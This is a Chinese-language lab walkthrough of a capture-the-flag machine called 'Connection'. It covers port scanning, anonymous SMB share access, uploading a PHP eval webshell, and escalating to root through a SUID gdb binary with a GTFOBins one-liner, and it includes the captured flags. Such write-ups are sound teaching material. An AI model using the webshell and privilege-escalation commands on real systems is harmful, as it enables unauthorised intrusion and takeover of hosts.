红队专项·Connection
字数 782 2025-08-10 20:57:54

SMB服务渗透与提权实战教学文档

1. 信息收集阶段

1.1 初始扫描

使用nmap进行网络扫描,识别目标主机和开放端口:

nmap -sT --min-rate 10000 -p- 192.168.56.0/24

1.2 详细扫描

对发现的开放端口进行详细扫描:

nmap -sT -sV -sC -A -p22,80,139,445 192.168.56.101

扫描结果分析:

  • 22/tcp: OpenSSH 7.9p1 (Debian)
  • 80/tcp: Apache httpd 2.4.38 (Debian)
  • 139/tcp: Samba smbd 3.X - 4.X
  • 445/tcp: Samba smbd 4.9.5-Debian

2. 服务渗透

2.1 SSH服务检查

  • 检查常见SSH漏洞:爆破、密钥泄露、私钥可写
  • 本案例中无利用条件

2.2 HTTP服务检查

  1. 目录爆破:
dirsearch -u http://192.168.56.101/
gobuster dir -u http://192.168.56.101/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  1. Web应用指纹识别:
whatweb http://192.168.56.101/

2.3 SMB服务渗透(突破口)

  1. 使用enum4linux枚举SMB信息:
enum4linux -A 192.168.56.101
  1. 检查匿名访问:
smbclient -N -L \\\\192.168.56.101
  1. 发现可匿名访问的共享目录并浏览:
smbclient \\\\192.168.56.101\\share -N
  1. 发现SMB支持PUT协议上传文件,尝试上传Webshell:
<?php echo "<pre>" . @eval($_REQUEST['cmd']) . "</pre>"; ?>
  1. 使用蚁剑连接Webshell获取初始访问权限

3. 权限提升

3.1 查找SUID权限文件

find / -perm -4000 2>/dev/null

3.2 利用GDB进行提权

  1. 首先稳定shell:
script /dev/null -c bash
# 按Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
  1. 利用GDB的SUID权限提权:
/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

4. 关键发现与标志

  • 用户flag: 3f491443a2a6aa82bc86a3cda8c39617
  • root flag: a7c6ea4931ab86fb54c5400204474a39

5. 参考资源

6. 总结

本案例展示了从SMB服务匿名访问入手,通过文件上传获取Webshell,最终利用SUID权限的GDB进行提权的完整渗透流程。关键点在于:

  1. 发现SMB匿名访问和PUT上传功能
  2. 通过文件上传获取初始立足点
  3. 系统枚举发现SUID提权机会
  4. 使用GTFOBins技术完成权限提升
SMB服务渗透与提权实战教学文档 1. 信息收集阶段 1.1 初始扫描 使用nmap进行网络扫描,识别目标主机和开放端口: 1.2 详细扫描 对发现的开放端口进行详细扫描: 扫描结果分析: 22/tcp: OpenSSH 7.9p1 (Debian) 80/tcp: Apache httpd 2.4.38 (Debian) 139/tcp: Samba smbd 3.X - 4.X 445/tcp: Samba smbd 4.9.5-Debian 2. 服务渗透 2.1 SSH服务检查 检查常见SSH漏洞:爆破、密钥泄露、私钥可写 本案例中无利用条件 2.2 HTTP服务检查 目录爆破: Web应用指纹识别: 2.3 SMB服务渗透(突破口) 使用enum4linux枚举SMB信息: 检查匿名访问: 发现可匿名访问的共享目录并浏览: 发现SMB支持PUT协议上传文件,尝试上传Webshell: 使用蚁剑连接Webshell获取初始访问权限 3. 权限提升 3.1 查找SUID权限文件 3.2 利用GDB进行提权 首先稳定shell: 利用GDB的SUID权限提权: 4. 关键发现与标志 用户flag: 3f491443a2a6aa82bc86a3cda8c39617 root flag: a7c6ea4931ab86fb54c5400204474a39 5. 参考资源 HackTricks SMB Pentesting Guide GTFOBins提权技术 6. 总结 本案例展示了从SMB服务匿名访问入手,通过文件上传获取Webshell,最终利用SUID权限的GDB进行提权的完整渗透流程。关键点在于: 发现SMB匿名访问和PUT上传功能 通过文件上传获取初始立足点 系统枚举发现SUID提权机会 使用GTFOBins技术完成权限提升